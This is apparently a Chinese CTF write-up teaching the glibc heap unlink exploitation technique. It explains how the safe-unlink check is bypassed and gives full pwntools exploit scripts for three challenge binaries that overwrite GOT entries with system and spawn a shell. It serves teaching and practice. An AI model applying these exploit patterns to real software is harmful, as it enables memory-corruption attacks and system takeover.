原理

当使用 free() 函数释放一块内存时,堆管理器(ptmalloc)会检查其物理相邻的堆块(chunk)是否空闲,如果空闲,则需要将其从所在的 bin (small bins)中释放出来,与当前 free 的 chunk 进行合并,合并之后,再插入到 unsorted bins 中。

在这个过程中,unlink的作用就是释放空闲堆块****,将其从双向链表中脱链。这其中,如果我们可以构造物理相邻的 chunk,那么就有可能造成任意地址写。但是在进行这个操作时会对要被unlink的chunk进行一个检查,可以称之为双链表完整性检查,关键源代码如下

双链表完整性检查

1
2
3
4
5
FD = P -> fd;
BK = P -> bk;

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list");

上面的意思也就是在unlink前,首先要获取P的fd指针和bk指针分别记作FDBK,在unlink时需要使要被free的chunk(P)的前一个chunk(FD)的bk指针和这个chunk的后chunk(BK)的fd指针指向这个即将free的chunk(P)才可以执行。

绕过方法

面对上面的检查,我们只需要将P->fd 置为P-0x18、P->bk = P-0x10即可

因为一个双链表结构的chunk 从开始位置的prev_sizefd指针和bk指针的距离分别是0x100x18,而我们可以在chunk中伪造一个被free的chunk,使其P->fd = P-0x18P->bk = P-0x10 ,之后当进行unlink操作时,当到源码

1
2
FD = P -> fd;
BK = P -> bk;

这一步骤时,便将我们伪造的fd和bk给传进了FD和BK之中,最后在

1
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) 

进行校验的时候,FD->bk 就等于 P-0x10 -> bk,而P-0x10的bk也就等于P的地址,BK->fd同理,从而通过校验。

上面过程完成后,再看此时的堆空间,原本的BK->fd将会覆盖掉P的起始位置,然后再来看源代码中的这一段

1
2
FD->fd = BK;
BK->bk = FD;

这一操作将直接导致P的位置将指向FD这个地址,而FD的地址是什么,是P-0x18,这将意味着chunk0将指向P-0x18,所以到这里便可以直接利用程序中的增删改查功能对这以后的数据进行修改。

利用条件

  • 每个堆块的指针位置必须相邻
  • 可以申请大于0x80的堆块
  • 可以控制某一堆块的pre_size位或控制一块free状态的fdbk指针

利用过程

  1. 分配两个堆块

    大小超过 80 个字节,因为小于 80 字节是 fast bins,其为单向链表,无法利用 unlink。第 1 个 chunk 是需要 unlink 的,第 2 个 chunk 是用来 free 的。

  2. 伪造堆块

    伪造第 1 个 chunk 的 FD 和 BK,FD = &ptr0 - 0x18BK = &ptr0 - 0x10

  3. 绕过检查

    glibc 会检查当前的堆块前后逻辑相邻的堆块是否是伪造的,FD->bk == BK->fd == P

    *(FD + 0x18 * size(t)) = p当满足以下条件,即可绕过检查:fd = &p - 0x18 \* size(int) bk = &p - 0x10 \* size(int)

  4. 释放 chunk2

    促使 chunk1 发生 unlink

例题


FreeNote

程序分析

使用IDA打开分析反汇编代码

可以看到首先是在程序的开始处先分配了一个0x1810大小的空间,用来存放后面的note索引

其次在new函数中,note内容的大小是0x80的倍数,不足0x80的按0x80对齐。

Sub_40085D中也就是read时由于没有在末尾追加"\x00"所以这里可以用来泄露一些地址

其次就是存储note的结构体,可以结合动态调试查看heap内存储的note结构体信息,大致为

有效位(表示是否被分配)|长度|索引地址

再看delete函数

首先是第12、13行处,对其进行清零,但没有先对其进行检查,这就导致Double Free漏洞,从而可以多次free某个堆块

利用过程

  1. 先利用read读取数据时未在末尾进行截断,来泄露libc地址和堆地址

    具体步骤和上面类似,这里要申请5个堆块,不过我们分别要free掉chunk_1chunk_3

    在我们free掉第一个堆块时,由于这个堆块是0x80大小故不符合fastbin的标准,所以将被放在unsortedbins中,而此时被free的chunk_1的fd和bk指针则是main_arena+88的地址

    但这只是第一次free,且仅泄露出了marin_arena的地址,所以我们继续下一次的free

    可以看到由于双向链表的原因,两块bins的fd和bk都互相指向对方,且都有一个main_arena的地址,这时候我们只要再次申请堆块,并覆盖掉红框内的数据,之后通过打印功能便能直接输出堆块的地址和main_arena的地址

    不过需要注意此时泄露出的堆块地址是chunk_2的地址距离堆的起始地址还有一段固定的偏移,计算一下就能得出


    此时由于chunk_1被free掉的原因,我们则可以通过扩充chunk_0来依次带出这两个地址

  2. 通过unlink控制chunk_1来覆写got表

    通过edit功能在chunk_0中伪造chunk0chunk1(这里要注意整体的大小及伪造的chunk大小)

    删除chunk_1,触发unlink使chunk_0脱链,使得chunk_0的内容落在&(chunk_0-0x18)的位置

    修改此时的chunk_0,将chunk_1的地址指向free的got表地址,并留出**chunk_2用来存放”/bin/sh”**(同样要注意整体的payload大小在0x100)

    修改chunk_1将此时free_got表地址的指向system
    修改chunk_2将内容设置为”/bin/sh”
    删除chunk_2触发system("/bin/sh")

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#coding:utf-8
from pwn import *
import os
from one_gadget import generate_one_gadget
# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.terminal = ['tmux', 'splitw',"-h"]
context.log_level = "debug"
sh = process("./freenote_x64")
elf = ELF("./freenote_x64")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def show():
sh.recvuntil("Your choice: ")
sh.sendline("1")
def add(size,note):
sh.recvuntil("Your choice: ")
sh.sendline("2")
sh.recvuntil("Length of new note: ")
sh.sendline(str(size))
sh.recvuntil("Enter your note: ")
sh.send(note)
def edit(idx,size,note):
sh.recvuntil("Your choice: ")
sh.sendline("3")
sh.recvuntil("Note number: ")
sh.sendline(idx)
sh.recvuntil("Length of note: ")
sh.sendline(str(size))
sh.recvuntil("Enter your note: ")
sh.send(note)
def remove(idx):
sh.recvuntil("Your choice: ")
sh.sendline("4")
sh.recvuntil("Note number: ")
sh.sendline(idx)


add(8,"a"*0x8)
add(8,"b"*0x8)
add(8,"c"*0x8)
add(8,"d"*0x8)
add(8,"e"*0x8)
#由于程序中小于0x80的将自动对齐至0x80大小,所以这里0x8即可
### leak addr
remove("3")
# gdb.attach(sh)
remove("1")

edit("0",0x90,"f"*(0x80+0x10))
# 修改chunk_0,使之内容覆盖至chunk_0+0x90的位置来泄露heap的地址
show()
sh.recvuntil("f"*0x90)
heap = u32(sh.recv(4).ljust(4,"\x00")) - 0x19d0 #0x19d0 chunk_3距离heap的偏移
#gdb.attach(sh)
edit("0",0x98,"g"*(0x80+0x18))
show()
sh.recvuntil("g"*0x98)
main_arena88 = u64(sh.recv(6).ljust(8,"\x00"))
libc_base = main_arena88 - 0x3c4b78 #0x3c4b78 距离libc的偏移

log.progress("Leak Addr...")
free_got = elf.got['free']
system_addr = libc.sym['system']+libc_base
success("system_addr => 0x%x",system_addr)
success("free_got => 0x%x",free_got)
success("heap_addr => 0x%x",heap)
success("main_arena88 => 0x%x",main_arena88)
success("libc_base => 0x%x",libc_base)

### Unlink
#因为chunk_1被free掉且未将内容清空的原因
#所以导致当前chunk_0的大小为0x120
# gdb.attach(sh)
payload = p64(0)+p64(0x80) # 伪造chunk 0
payload += p64(heap + 0x30 - 0x18)+p64(heap + 0x30 - 0x10)
# 为了通过unlink检查,伪造fd bk
payload += cyclic(0x60)
payload += p64(0x80)+p64(0x90) # 伪造chunk 1
#大小必须要在0x90,因为要前后对应
payload += cyclic(0x70)
edit("0",0x100,payload)
remove("1")
#此时的chunk_0 将指向(heap + 0x30 - 0x18)的位置

### 劫持got表
payload2 = p64(3)
payload2 += p64(1)+p64(0x80)
payload2 += p64(heap+0x30)+p64(1) # chunk 0 => heap+0x30
payload2 += p64(8)+p64(free_got) # chunk 1 => free_got
payload2 += p64(1)+p64(8)
payload2 += p64(heap+0x90)+"a"*0xb0 # chunk 2 => heap+0x30 => "/bin/sh\x00"
edit("0",0x100,payload2)
edit("1",0x8,p64(system_addr))
edit("2",0x8,"/bin/sh\x00")
remove("2")

sh.interactive()

2014_HITCON_stkof

程序分析

程序大概分为三个功能,malloc\edit\free

其中malloc时,会将堆块的地址保存在bss段中

而edit功能并未限制读取内容的大小,这意味着可以利用一个堆块来影响后面的堆块,为后续的unlink做准备

free功能只清除堆块的指针,而不清除堆块的内容

利用思路

首先构造堆块触发unlink使PTR指向(PTR-0x18),从而控制bss段的内容

之后再bss段中将各个堆块的指针覆盖为free、atoi、puts的got表地址

之后利用覆盖free的got表内容为puts函数,来打印出puts函数的地址

最后得到libc后,通过覆盖atoi的got表内容为system,然后传入/bin/sh的地址取得shell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#coding:utf-8
import sys
from pwn import *
from one_gadget import generate_one_gadget
# context.terminal = ["tmux","splitw","-h"]
context.terminal = ["tmux","new-window"]
# context.log_level = "debug"

### 远程本地连接
def ProLoc(elf_addr,libc_addr,pro_libc):
global sh,elf,libc,one_ggs
if len(sys.argv) > 1 :
ip = sys.argv[1]
prot = sys.argv[2]
sh = remote(ip,prot)
libc = ELF(pro_libc)
one_ggs = one_gadget(libc_addr)
else:
sh = process(elf_addr)
libc = ELF(libc_addr)
#one_ggs = one_gadget(libc_addr)
elf = ELF(elf_addr)
### 调试用
def debug(cmd=""):
if len(sys.argv) == 1:
log.progress("Loading Debug....")
gdb.attach(sh,cmd)
### One_Gadget
def one_gadget(libc_addr):
log.progress("Leak One_Gadgets...")
path_to_libc=libc_addr
gadget =[]
for offset in generate_one_gadget(path_to_libc):
gadget.append(int(offset))
return gadget
#one_gg = one_gadget("/lib/x86_64-linux-gnu/libc.so.6")

def exp():
def alloc(size):
sh.sendline('1')
sh.sendline(str(size))
sh.recvuntil('OK\n')
def edit(idx, size, content):
sh.sendline('2')
sh.sendline(str(idx))
sh.sendline(str(size))
sh.send(content)
sh.recvuntil('OK\n')
def free(idx):
sh.sendline('3')
sh.sendline(str(idx))

heap_bss = 0x602140

alloc(0x1)
alloc(0x30)
alloc(0x80)
# edit(1,0x10,"a"*0x10)
payload = p64(0) + p64(0x20)
payload += p64(heap_bss+0x10-0x18) + p64(heap_bss+0x10-0x10)
payload += p64(0x20) + "a"*0x8
payload += p64(0x30) + p64(0x90)
edit(2,0x40,payload)
free(3) #触发unlink,使PTR指向(PTR-0x18)
#然后在修改PTR得内容,也就是此时的第二个堆块,将堆块1、2、3的地址分别修改为特殊函数的got表地址
free_got = elf.got["free"]
puts_got = elf.got["puts"]
atoi_got = elf.got["atoi"]
puts_plt = elf.plt["puts"]
success("free_got => 0x%x",free_got)
#p64(0)+chunk_0+chunk_1+chunk_2
payload2 = p64(0)+p64(free_got)+p64(puts_got)+p64(atoi_got)
edit(2,len(payload2),payload2)
#覆盖free_got为puts,之后通过free(puts_got)来读出puts的got表内容
edit(0,0x8,p64(puts_plt))
free(1)
sh.recvuntil("OK\n")
puts_addr = u64(sh.recvuntil("OK\n",drop=True)[:6].ljust(8,"\x00"))
success("puts_addr => 0x%x",puts_addr)
libc_base = puts_addr - libc.sym["puts"]
success("libc_base => 0x%x",libc_base)
system = libc_base + libc.sym["system"]
# binsh = libc_base + libc.search("/bin/sh").next()
#覆盖atoi函数的got表内容为system的地址,最后通过atoi(binsh)返回shell
edit(2,0x8,p64(system))
sh.send("/bin/sh\x00")
# sh.send(p64(free_got))
# debug()
sh.interactive()


if __name__=="__main__":
elf_addr = "./stkof" # 本地ELF
libc_addr = "/lib/x86_64-linux-gnu/libc.so.6" # Libc文件
pro_libc = ""
ProLoc(elf_addr,libc_addr,pro_libc)
exp()

2016_zctf_note2

程序分析

程序总共有增删改查四个功能

其中add函数中的malloc最大只能在0x80之间,且会将堆块的指针保存在bss段中,用于索引

而后面的在读取我们输入的堆块大小和内容的部分中,有个sub_4009bd函数,这其中a2是前面输入的堆块大小,而在第9行a2-1中,如果我们将a2设置为0,则在a2-1时将等于一个有符号的-1,而之后在与i比较大小的时候,会将有符号的-1转换为无符号的类型,其值也将变成无符号数的最大值。而虽然glibc的规定,最小的堆块也要是0x20大小,但是我们却仍然可以输入任意长度的数据到这个堆块中,甚至覆盖后面的堆块内容

利用思路

创建a\b\c三个堆块,a和c都是0x80大小,b设置为0大小

在堆块a中伪造ptr-0x18和ptr-0x10指针,构造unlink。再利用b堆块写入任意长度的功能修改c堆块的pre_size值,最后形成在a堆块中包含两个伪造的堆块。最后free掉c堆块,使其向低地址的0x20的堆块合并,然后触发unlink,使a堆块的指针指向a-0x18的位置。最后再修改a的内容,将a指向atoi函数,先读出atoi的got表内容再覆写其got表为system

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#coding:utf-8
import sys
from pwn import *
from one_gadget import generate_one_gadget
# context.terminal = ["tmux","splitw","-h"]
context.terminal = ["tmux","new-window"]
context.log_level = "debug"

### 远程本地连接
def ProLoc(elf_addr,libc_addr,pro_libc):
global sh,elf,libc,one_ggs
if len(sys.argv) > 1 :
ip = sys.argv[1]
prot = sys.argv[2]
sh = remote(ip,prot)
libc = ELF(pro_libc)
one_ggs = one_gadget(libc_addr)
else:
sh = process(elf_addr)
libc = ELF(libc_addr)
#one_ggs = one_gadget(libc_addr)
elf = ELF(elf_addr)
### 调试用
def debug(cmd=""):
if len(sys.argv) == 1:
log.progress("Loading Debug....")
gdb.attach(sh,cmd)
### Shell_code
def shell_code(fw):
if fw == 32:
return asm(shellcraft.sh())
elif fw == 64:
return asm(shellcraft.amd64.linux.sh())
### One_Gadget
def one_gadget(libc_addr):
log.progress("Leak One_Gadgets...")
path_to_libc=libc_addr
gadget =[]
for offset in generate_one_gadget(path_to_libc):
gadget.append(int(offset))
return gadget
#one_gg = one_gadget("/lib/x86_64-linux-gnu/libc.so.6")

def exp():
def add(length, content):
sh.recvuntil('option--->>')
sh.sendline('1')
sh.recvuntil('(less than 128)')
sh.sendline(str(length))
sh.recvuntil('content:')
sh.sendline(content)
def show(id):
sh.recvuntil('option--->>')
sh.sendline('2')
sh.recvuntil('note:')
sh.sendline(str(id))
def edit(id, choice, s):
sh.recvuntil('option--->>')
sh.sendline('3')
sh.recvuntil('note:')
sh.sendline(str(id))
sh.recvuntil('2.append]')
sh.sendline(str(choice))
sh.sendline(s)
def dele(id):
sh.recvuntil('option--->>')
sh.sendline('4')
sh.recvuntil('note:')
sh.sendline(str(id))
sh.recvuntil("name:\n")
sh.sendline("da1sy")
sh.recvuntil("address:\n")
sh.sendline("DA1SY")

ptr = 0x0000000000602120
payload1 = 'a'*8 + p64(0x61)
payload1 += p64(ptr - 0x18) + p64(ptr - 0x10)
payload1 += 'b' * 64
payload1 += p64(0x60)
#content = p64(fakefd) + p64(fakebk)
add(0x80,payload1) #chunk_1
add(0, 'a' * 8) #chunk_2
add(0x80, 'b' * 16) #chunk_3
dele(1)
add(0,'a' * 0x10 + p64(0xa0) + p64(0x90))
dele(2)
# debug()
payload2 = "a"*0x18
payload2 += p64(elf.got["atoi"])
# edit(0,1,"a"*36)
edit(0,1,payload2)
show(0)
sh.recvuntil("is ")
atoi_addr = u64(sh.recvuntil("\x7f")[:6].ljust(8,"\x00"))
libc_base = atoi_addr - libc.sym["atoi"]
success("libc_addr => 0x%x",libc_base)
system = libc_base + libc.sym["system"]
success("system_addr => 0x%x",system)
edit(0,1,p64(system))
sh.recvuntil('option--->>')
sh.sendline('/bin/sh')
# debug()

sh.interactive()

if __name__=="__main__":
elf_addr = "./note2" # 本地ELF
libc_addr = "/lib/x86_64-linux-gnu/libc.so.6" # Libc文件
pro_libc = ""
ProLoc(elf_addr,libc_addr,pro_libc)
exp()


https://blog.csdn.net/Breeze_CAT/article/details/100427158

https://zhuanlan.zhihu.com/p/163690431

https://cloud.tencent.com/developer/article/1557872

https://www.cnblogs.com/0xJDchen/p/6195919.html

https://blog.csdn.net/sinat_29447759/article/details/79304236

https://blog.csdn.net/seaaseesa/article/details/105589526

https://bbs.pediy.com/thread-226287.htm

https://blog.csdn.net/song_lee/article/details/107028002